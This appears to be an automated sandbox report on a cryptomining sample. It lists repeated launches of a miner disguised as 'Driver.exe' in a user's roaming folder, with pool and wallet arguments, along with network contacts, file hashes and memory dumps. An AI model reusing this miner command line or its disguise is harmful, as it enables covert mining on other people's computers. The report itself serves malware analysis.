"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

Network

Country Destination Domain Proto
US 8.8.8.8:53 cr71642.tmweb.ru udp
RU 5.23.51.195:80 cr71642.tmweb.ru tcp

Files

memory/1452-54-0x0000000000880000-0x0000000000C7E000-memory.dmp

memory/1452-55-0x0000000075041000-0x0000000075043000-memory.dmp

\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1424-57-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1424-59-0x00000000001F0000-0x0000000000204000-memory.dmp

memory/1424-60-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1816-61-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1816-64-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1800-65-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1800-68-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/924-69-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/924-72-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1860-73-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1860-76-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/780-77-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/780-80-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1696-81-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1696-84-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1060-85-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1060-88-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/572-89-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/572-92-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1200-93-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1200-96-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/368-97-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/368-100-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1452-101-0x0000000006500000-0x0000000007075000-memory.dmp

memory/1620-102-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1620-105-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/324-106-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/324-109-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/944-110-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/944-113-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/408-114-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/408-117-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1128-118-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1128-121-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1704-122-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1704-125-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/332-126-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/332-129-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1980-130-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1980-133-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/656-134-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/656-137-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1880-138-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1880-140-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1296-141-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1296-144-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1788-145-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1788-148-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1636-149-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1636-152-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1724-153-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1724-156-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1480-157-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1480-160-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/2008-161-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/2008-164-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1128-165-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1128-168-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1820-169-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1820-172-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1824-173-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1824-176-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1576-177-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1576-180-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1372-181-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1372-184-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1276-185-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1276-188-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1768-189-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1768-192-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1764-193-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1764-196-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1924-197-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1924-200-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/548-201-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/548-204-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1704-205-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1704-208-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1860-209-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1860-212-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/948-213-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/948-216-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/320-217-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/320-220-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1640-221-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1640-224-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1772-225-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1772-228-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1468-229-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1468-232-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1720-233-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1720-236-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1768-237-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1768-240-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1128-241-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1128-244-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/924-245-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/924-248-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/612-249-0x0000000000000000-mapping.dmp

